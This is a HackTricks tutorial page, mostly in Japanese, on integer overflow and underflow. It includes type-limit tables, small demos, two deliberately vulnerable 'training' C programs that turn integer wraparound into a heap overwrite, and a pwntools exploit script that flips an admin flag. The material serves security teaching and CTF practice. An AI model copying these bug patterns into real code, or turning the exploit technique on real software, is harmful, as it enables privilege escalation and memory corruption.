hacktricks/src/binary-exploitation/integer-overflow-and-underflow.md

# Integer Overflow

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## 基本情報

**integer overflow** の核心は、コンピュータプログラミングにおけるデータ型の**サイズ**による制限とデータの**解釈**にあります。

例えば、**8-bit unsigned integer** は **0 to 255** の値を表現できます。8-bit unsigned integer に 256 を格納しようとすると、記憶容量の制限により値は 0 に巻き戻ります。同様に、**16-bit unsigned integer**（**0 to 65,535** を保持できる）では、65,535 に 1 を加えると値は 0 に戻ります。

さらに、**8-bit signed integer** は **-128 to 127** の値を表現できます。これは符号（正または負）を表すために1ビットが使用され、残りの7ビットが大きさを表すためです。最小の負の数は **-128**（バイナリ `10000000`）で表され、最大の正の数は **127**（バイナリ `01111111`）です。

Max values for common integer types:
| Type           | Size (bits) | Min Value          | Max Value          |
|----------------|-------------|--------------------|--------------------|
| int8_t         | 8           | -128               | 127                |
| uint8_t        | 8           | 0                  | 255                |
| int16_t        | 16          | -32,768            | 32,767             |
| uint16_t       | 16          | 0                  | 65,535             |
| int32_t        | 32          | -2,147,483,648 | 2,147,483,647      |
| uint32_t       | 32          | 0                  | 4,294,967,295      |
| int64_t        | 64          | -9,223,372,036,854,775,808 | 9,223,372,036,854,775,807 |
| uint64_t       | 64          | 0                  | 18,446,744,073,709,551,615 |

short は `int16_t` に相当し、int は `int32_t` に相当し、long は 64bits システムでは `int64_t` に相当します。

### 最大値

潜在的な **web vulnerabilities** において、サポートされる最大値を把握しておくことは非常に重要です：

{{#tabs}}
{{#tab name="Rust"}}
```rust
fn main() {

let mut quantity = 2147483647;

let (mul_result, _) = i32::overflowing_mul(32767, quantity);
let (add_result, _) = i32::overflowing_add(1, quantity);

println!("{}", mul_result);
println!("{}", add_result);
}
```
{{#endtab}}

{{#tab name="C"}}
```c
#include <stdio.h>
#include <limits.h>

int main() {
int a = INT_MAX;
int b = 0;
int c = 0;

b = a * 100;
c = a + 1;

printf("%d\n", INT_MAX);
printf("%d\n", b);
printf("%d\n", c);
return 0;
}
```
{{#endtab}}
{{#endtabs}}

## 例

### Pure overflow

出力結果は 0 になります（char を overflow させたため）:
```c
#include <stdio.h>

int main() {
unsigned char max = 255; // 8-bit unsigned integer
unsigned char result = max + 1;
printf("Result: %d\n", result); // Expected to overflow
return 0;
}
```
### Signed to Unsigned Conversion

ユーザー入力から符号付き整数が読み取られ、それが適切な検証を行わずに符号なし整数として扱われる文脈で使用される状況を考えてみてください：
```c
#include <stdio.h>

int main() {
int userInput; // Signed integer
printf("Enter a number: ");
scanf("%d", &userInput);

// Treating the signed input as unsigned without validation
unsigned int processedInput = (unsigned int)userInput;

// A condition that might not work as intended if userInput is negative
if (processedInput > 1000) {
printf("Processed Input is large: %u\n", processedInput);
} else {
printf("Processed Input is within range: %u\n", processedInput);
}

return 0;
}
```
この例では、ユーザーが負の数を入力すると、二進数の値の解釈方法により大きな符号なし整数として扱われ、予期しない動作を引き起こす可能性があります。

### macOS Overflow Example
```c
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>

/*
* Realistic integer-overflow → undersized allocation → heap overflow → flag
* Works on macOS arm64 (no ret2win required; avoids PAC/CFI).
*/

__attribute__((noinline))
void win(void) {
puts("🎉 EXPLOITATION SUCCESSFUL 🎉");
puts("FLAG{integer_overflow_to_heap_overflow_on_macos_arm64}");
exit(0);
}

struct session {
int is_admin;           // Target to flip from 0 → 1
char note[64];
};

static size_t read_stdin(void *dst, size_t want) {
// Read in bounded chunks to avoid EINVAL on large nbyte (macOS PTY/TTY)
const size_t MAX_CHUNK = 1 << 20; // 1 MiB per read (any sane cap is fine)
size_t got = 0;

printf("Requested bytes: %zu\n", want);

while (got < want) {
size_t remain = want - got;
size_t chunk  = remain > MAX_CHUNK ? MAX_CHUNK : remain;

ssize_t n = read(STDIN_FILENO, (char*)dst + got, chunk);
if (n > 0) {
got += (size_t)n;
continue;
}
if (n == 0) {
// EOF – stop; partial reads are fine for our exploit
break;
}
// n < 0: real error (likely EINVAL when chunk too big on some FDs)
perror("read");
break;
}
return got;
}


int main(void) {
setvbuf(stdout, NULL, _IONBF, 0);
puts("=== Bundle Importer (training) ===");

// 1) Read attacker-controlled parameters (use large values)
size_t count = 0, elem_size = 0;
printf("Entry count: ");
if (scanf("%zu", &count) != 1) return 1;
printf("Entry size: ");
if (scanf("%zu", &elem_size) != 1) return 1;

// 2) Compute total bytes with a 32-bit truncation bug (vulnerability)
//    NOTE: 'product32' is 32-bit → wraps; then we add a tiny header.
uint32_t product32 = (uint32_t)(count * elem_size);//<-- Integer overflow because the product is converted to 32-bit.
/* So if you send "4294967296" (0x1_00000000 as count) and 1 as element --> 0x1_00000000 * 1 = 0 in 32bits
Then, product32 = 0
*/
uint32_t alloc32   = product32 + 32; // alloc32 = 0 + 32 = 32
printf("[dbg] 32-bit alloc = %u bytes (wrapped)\n", alloc32);

// 3) Allocate a single arena and lay out [buffer][slack][session]
//    This makes adjacency deterministic (no reliance on system malloc order).
const size_t SLACK = 512;
size_t arena_sz = (size_t)alloc32 + SLACK; // 32 + 512 = 544 (0x220)
unsigned char *arena = (unsigned char*)malloc(arena_sz);
if (!arena) { perror("malloc"); return 1; }
memset(arena, 0, arena_sz);

unsigned char *buf  = arena;  // In this buffer the attacker will copy data
struct session *sess = (struct session*)(arena + (size_t)alloc32 + 16); // The session is stored right after the buffer + alloc32 (32) + 16 = buffer + 48
sess->is_admin = 0;
strncpy(sess->note, "regular user", sizeof(sess->note)-1);

printf("[dbg] arena=%p buf=%p alloc32=%u sess=%p offset_to_sess=%zu\n",
(void*)arena, (void*)buf, alloc32, (void*)sess,
((size_t)alloc32 + 16)); // This just prints the address of the pointers to see that the distance between "buf" and "sess" is 48 (32 + 16).

// 4) Copy uses native size_t product (no truncation) → It generates an overflow
size_t to_copy = count * elem_size;                   // <-- Large size_t
printf("[dbg] requested copy (size_t) = %zu\n", to_copy);

puts(">> Send bundle payload on stdin (EOF to finish)...");
size_t got = read_stdin(buf, to_copy); // <-- Heap overflow vulnerability that can bue abused to overwrite sess->is_admin to 1
printf("[dbg] actually read = %zu bytes\n", got);

// 5) Privileged action gated by a field next to the overflow target
if (sess->is_admin) {
puts("[dbg] admin privileges detected");
win();
} else {
puts("[dbg] normal user");
}
return 0;
}
```
次のコマンドでコンパイルする:
```bash
clang -O0 -Wall -Wextra -std=c11 -D_FORTIFY_SOURCE=0 \
-o int_ovf_heap_priv int_ovf_heap_priv.c
```
#### Exploit
```python
# exploit.py
from pwn import *

# Keep logs readable; switch to "debug" if you want full I/O traces
context.log_level = "info"

EXE = "./int_ovf_heap_priv"

def main():
# IMPORTANT: use plain pipes, not PTY
io = process([EXE])  # stdin=PIPE, stdout=PIPE by default

# 1) Drive the prompts
io.sendlineafter(b"Entry count: ", b"4294967296")  # 2^32 -> (uint32_t)0
io.sendlineafter(b"Entry size: ",  b"1")           # alloc32 = 32, offset_to_sess = 48

# 2) Wait until it’s actually reading the payload
io.recvuntil(b">> Send bundle payload on stdin (EOF to finish)...")

# 3) Overflow 48 bytes, then flip is_admin to 1 (little-endian)
payload = b"A" * 48 + p32(1)

# 4) Send payload, THEN send EOF via half-close on the pipe
io.send(payload)
io.shutdown("send")   # <-- this delivers EOF when using pipes, it's needed to stop the read loop from the binary

# 5) Read the rest (should print admin + FLAG)
print(io.recvall(timeout=5).decode(errors="ignore"))

if __name__ == "__main__":
main()
```
### macOS Underflow の例
```c
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>

/*
* Integer underflow -> undersized allocation + oversized copy -> heap overwrite
* Works on macOS arm64. Data-oriented exploit: flip sess->is_admin.
*/

__attribute__((noinline))
void win(void) {
puts("🎉 EXPLOITATION SUCCESSFUL 🎉");
puts("FLAG{integer_underflow_heap_overwrite_on_macos_arm64}");
exit(0);
}

struct session {
int  is_admin;      // flip 0 -> 1
char note[64];
};

static size_t read_stdin(void *dst, size_t want) {
// Read in bounded chunks so huge 'want' doesn't break on PTY/TTY.
const size_t MAX_CHUNK = 1 << 20; // 1 MiB
size_t got = 0;
printf("[dbg] Requested bytes: %zu\n", want);
while (got < want) {
size_t remain = want - got;
size_t chunk  = remain > MAX_CHUNK ? MAX_CHUNK : remain;
ssize_t n = read(STDIN_FILENO, (char*)dst + got, chunk);
if (n > 0) { got += (size_t)n; continue; }
if (n == 0) break;    // EOF: partial read is fine
perror("read"); break;
}
return got;
}

int main(void) {
setvbuf(stdout, NULL, _IONBF, 0);
puts("=== Packet Importer (UNDERFLOW training) ===");

size_t total_len = 0;
printf("Total packet length: ");
if (scanf("%zu", &total_len) != 1) return 1; // Suppose it's "8"

const size_t HEADER = 16;

// **BUG**: size_t underflow if total_len < HEADER
size_t payload_len = total_len - HEADER;   // <-- UNDERFLOW HERE if total_len < HEADER --> Huge number as it's unsigned
// If total_len = 8, payload_len = 8 - 16 = -8 = 0xfffffffffffffff8 = 18446744073709551608 (on 64bits - huge number)
printf("[dbg] total_len=%zu, HEADER=%zu, payload_len=%zu\n",
total_len, HEADER, payload_len);

// Build a deterministic arena: [buf of total_len][16 gap][session][slack]
const size_t SLACK = 256;
size_t arena_sz = total_len + 16 + sizeof(struct session) + SLACK; // 8 + 16 + 72 + 256 = 352 (0x160)
unsigned char *arena = (unsigned char*)malloc(arena_sz);
if (!arena) { perror("malloc"); return 1; }
memset(arena, 0, arena_sz);

unsigned char *buf  = arena;
struct session *sess = (struct session*)(arena + total_len + 16);
// The offset between buf and sess is total_len + 16 = 8 + 16 = 24 (0x18)
sess->is_admin = 0;
strncpy(sess->note, "regular user", sizeof(sess->note)-1);

printf("[dbg] arena=%p buf=%p total_len=%zu sess=%p offset_to_sess=%zu\n",
(void*)arena, (void*)buf, total_len, (void*)sess, total_len + 16);

puts(">> Send payload bytes (EOF to finish)...");
size_t got = read_stdin(buf, payload_len);
// The offset between buf and sess is 24 and the payload_len is huge so we can overwrite sess->is_admin to set it as 1
printf("[dbg] actually read = %zu bytes\n", got);

if (sess->is_admin) {
puts("[dbg] admin privileges detected");
win();
} else {
puts("[dbg] normal user");
}
return 0;
}
```
次のようにコンパイルします:
```bash
clang -O0 -Wall -Wextra -std=c11 -D_FORTIFY_SOURCE=0 \
-o int_underflow_heap int_underflow_heap.c
```
### その他の例

- [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html)
- パスワードのサイズを格納するのに1Bしか使われていないため、オーバーフローさせて長さが4だと誤認させ、実際には260であることで長さチェックの保護を回避できる
- [https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html)

- いくつかの数が与えられたとき、z3を使って最初の数に掛けると2番目の数になる新しい数を見つける:

```
(((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569)
```

- [https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/)
- パスワードのサイズを格納するのに1Bしか使われていないため、オーバーフローさせて長さが4だと誤認させ、実際には260であることで長さチェックの保護を回避し、さらにスタック上の次のローカル変数を書き換えて両方の保護を突破できる

## ARM64

この点は **ARM64 では変わりません**。詳細は [**this blog post**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/) を参照してください。

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